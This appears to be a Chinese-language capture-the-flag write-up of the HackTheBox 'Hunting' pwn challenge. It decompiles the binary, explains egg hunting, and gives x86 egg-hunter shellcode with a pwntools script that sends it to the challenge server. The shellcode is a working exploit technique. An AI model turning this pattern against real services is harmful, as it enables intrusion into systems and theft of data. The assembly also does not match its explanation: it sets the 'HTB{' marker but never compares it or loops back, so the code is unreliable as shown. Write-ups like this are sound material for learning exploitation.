HackTheBox-Machines Hunting Writeup

kazma 成大資安社 創辦人/社長

Background Knowledge

這題要考的技巧叫做 “Egg Hunting”,使一種在記憶體中搜尋並找到特定資料的技術,主要是應用於漏洞利用場景,尤其是在無法確定目標(“egg”)具體位置的情況下。

  • Egg 通常是一段特定的 shellcode 或是資料,是攻擊者希望執行或是利用的目標,可能放在 Heap、Data Section 或其他地方。
  • Egg Hunter 是一段很輕量的程式碼,會遍歷記憶體區域找尋特定標記,標記通常是一段字串,找到標記後就會跳轉到該位置執行。

Enumeration

file 可以看到檔案是 32-bit x86 ELF,然後沒有 Canary 跟 PIE。
程式主邏輯如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-Ch] [ebp-20h]
int v5; // [esp-8h] [ebp-1Ch]
int v6; // [esp+0h] [ebp-14h]
void (__cdecl *v7)(int *); // [esp+0h] [ebp-14h]
int dest; // [esp+4h] [ebp-10h]
int RandomAddr; // [esp+8h] [ebp-Ch]
void *retaddr; // [esp+18h] [ebp+4h]

RandomAddr = getRandomAddr();
signal(14, &exit, v4, v5);
alarm(10);
dest = mmap(RandomAddr, 0x1000, 3, 49, -1, 0);
if ( dest == -1 )
sub_1120(-1, v6, -1, RandomAddr);
strcpy(dest, flag);
memset(flag, 0, sizeof(flag));
build_sandbox();
v7 = (void (__cdecl *)(int *))mmap(0, 4096, 7, 33, -1, 0);
read(0);
retaddr = 0;
v7(&argc);
return 0;
}

以及 getRandomAddr()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int getRandomAddr()
{
int v1; // [esp+0h] [ebp-18h] BYREF
int v2; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]

v2 = open("/dev/urandom", 0);
read(v2);
close(v2, &v1, 8);
srand(v1);
for ( i = 0; i <= 0x5FFFFFFF; i = rand() << 16 )
;
return i;
}

可以看到程式先拿一個隨機地址,然後會把拿到的隨機地址當成其中一個參數做 mmap,我們可以對應一下各個參數的意義:

1
2
void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
dest = mmap(RandomAddr, 0x1000, 3, 0x31, -1, 0);
  • RandomAddr: 映射的起始地址
  • 0x1000: 映射區域大小,約 4KB
  • 3 (PROT_READ | PROT_WRITE): PROT_READ (1): 可讀 + PROT_WRITE (2): 可寫。
  • 49 (MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS): MAP_PRIVATE (0x02): 私有映射,對映射區域的更改不會反映到檔案中 + MAP_FIXED (0x10): 強制映射到 RandomAddr。如果該地址無法使用,會導致映射失敗 + MAP_ANONYMOUS (0x20): 匿名映射,無需關聯檔案
  • -1: 表示匿名映射,因為不需要關聯任何檔案。
  • 0: 偏移量為 0,對於匿名映射無意義。

然後如果映射成功就把 flag 複製過去,並且把原本的 flag 清空,接著他限制程式可以執行的系統呼叫來建置沙盒,然後 mmap 一段記憶體讓我們可以執行 shellcode。

Exploitation

首先是我們的 egg hunter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
setup:
mov eax, 27
int 0x80
mov edi, 0x7b425448
mov edx, 0x5fffffff

next_page:
or dx, 0xfff

test_next:
inc edx
pusha
xor ecx, ecx
mov al, 0x21
lea ebx, [edx + 0x4]
int 0x80

cmp al, 0xf2
popa
jz next_page

push 0x04
pop eax
push 0x01
pop ebx
mov ecx, edx
push 0x24
pop edx
int 0x80

因為隨機地址的範圍是 [0, 0x5FFFFFFF],所以一開始 setup 的時候我們先將 edx 設為 0x5fffffff,然後我們將地址對齊到頁邊界,這樣才可以確保進到 test_next 之後我們可以在加一後進到下一頁的開頭,然後 pusha 保存所有暫存器的狀態,接著設定好暫存器呼叫 syscall_access 來確定該段記憶體是否可以訪問,檢查返回值是否表示記憶體無效,無效就看下一頁,如果有效就比對字串,不匹配就 test_next 檢查下一地址,找到的話就用 sys_write 輸出後續字串。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys

from pwn import *

context.arch = "i386"

assembly = """
setup:
mov eax, 27
int 0x80
mov edi, 0x7b425448
mov edx, 0x5fffffff

next_page:
or dx, 0xfff

test_next:
inc edx
pusha
xor ecx, ecx
mov al, 0x21
lea ebx, [edx + 0x4]
int 0x80

cmp al, 0xf2
popa
jz next_page

push 0x04
pop eax
push 0x01
pop ebx
mov ecx, edx
push 0x24
pop edx
int 0x80
"""

payload = asm(assembly)
r = remote("94.237.63.109", 52242)

r.send(payload)
r.interactive()

References

Pwned

pwn

  • Title: HackTheBox-Machines Hunting Writeup
  • Author: kazma
  • Created at : 2024-11-17 17:54:48
  • Updated at : 2024-11-17 19:44:48
  • Link: https://kazma.tw/2024/11/17/HackTheBox-Machines-Hunting-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Machines Hunting Writeup